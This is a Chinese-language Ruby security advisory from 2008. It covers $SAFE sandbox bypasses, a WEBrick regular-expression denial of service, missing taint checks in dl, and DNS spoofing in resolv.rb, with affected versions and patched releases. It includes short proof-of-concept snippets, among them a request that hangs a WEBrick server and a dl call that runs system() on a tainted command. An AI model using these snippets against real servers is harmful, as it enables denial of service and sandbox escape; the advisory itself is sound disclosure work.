由 Xpol Wan 发表于 2008-08-08
Ruby中发现多个安全漏洞。建议你更新到最新版本。
详情
发现以下安全漏洞。
在安全级别下的几个漏洞
发现在安全级别下存在几个漏洞。
-
在安全级别4下untrace_var被允许。
trace_var(:$VAR) {|val| puts "$VAR = #{val}" } Thread.new do $SAFE = 4 eval %q{ proc = untrace_var :$VAR proc.first.call("aaa") } end.join
-
在安全级别4下$PROGRAM_NAME可能被修改。
Thread.new do $SAFE = 4 eval %q{$PROGRAM_NAME.replace "Hello, World!"} end.join $PROGRAM_NAME #=> "Hello, World!"
-
在安全级别1-3下可能调用不安全的方法。
class Hello def world Thread.new do $SAFE = 4 msg = "Hello, World!" def msg.size self.replace self*10 # replace string 1 # return wrong size end msg end.value end end $SAFE = 1 # or 2, or 3 s = Hello.new.world if s.kind_of?(String) puts s if s.size < 20 # print string which size is less than 20 end
-
在安全级别4下Syslog操作被允许。
require "syslog" Syslog.open Thread.new do $SAFE = 4 eval %q{ Syslog.log(Syslog::LOG_WARNING, "Hello, World!") Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG) Syslog.info("masked") Syslog.close } end.join
以上漏洞是由Keita Yamaguchi报告的。
WEBrick中的致拒绝服务(DoS)漏洞
WEBrick::HTTP::DefaultFileHandler存在消耗指数时间响应请求的错误, 因为WEBrick::HTTPUtils.split_header_value中的一个回溯正则表达式 (backtracking regular expression)。
可被利用的服务器:
require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
攻击:
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res
在这个例子中这个请求很可能无法完成。
这个漏洞是由Christian Neukirchen报告的。
dl中缺乏完整性检查
dl没有进行完整性检查,因此可能允许攻击者调用危险的函数。
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
这个漏洞是由sheepman报告的。
resolv.rb的欺骗DNS漏洞
resolv.rb允许远程攻击者欺骗DNS响应。这个漏洞可以通过随机的DNS事务ID和源端口来解决。 所以resolv.rb已经采用随机化的方式来修正。
- 参考: CVE-2008-1447
这个漏洞是由Tanaka Akira报告的。
受影响的版本
- 1.8系列
-
- 1.8.5 和所有之前的版本
- 1.8.6-p285 和所有之前的版本
- 1.8.7-p70 和所有之前的版本
- 1.9系列
-
- r18423 和所有之前的修订版本
解决办法
- 1.8系列
- 请更新到1.8.6-p286或者1.8.7-p71。
-
<URL:https://cache.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p286.tar.gz>
(md5: 797ea136fe43e4286c9362ee4516674e, sha256: 1774de918b156c360843c1b68690f5f57532ee48ff079d4d05c51dace8d523ed, size: 4590373)
-
<URL:https://cache.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p71.tar.gz>
(md5: 721741d1e0785a0b6b9fb07d55184908, sha256: 30ec4298e9ac186a2fe1a94362919ba805538252b707f3aadae1938429269c1a, size: 4805478)
-
- 1.9系列
-
请通过Subversion取得最新版本。
$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby
请注意修正这个漏洞的软件包可能已经可以通过你的软件包管理软件更新了。
贡献者
感谢Keita Yamaguchi, Christian Neukirchen, sheepman, and Tanaka Akira为Ruby Security Team指出这个问题。
修订记录
- 2008-08-08 12:21 +09:00 fixed the revision number of ruby 1.9.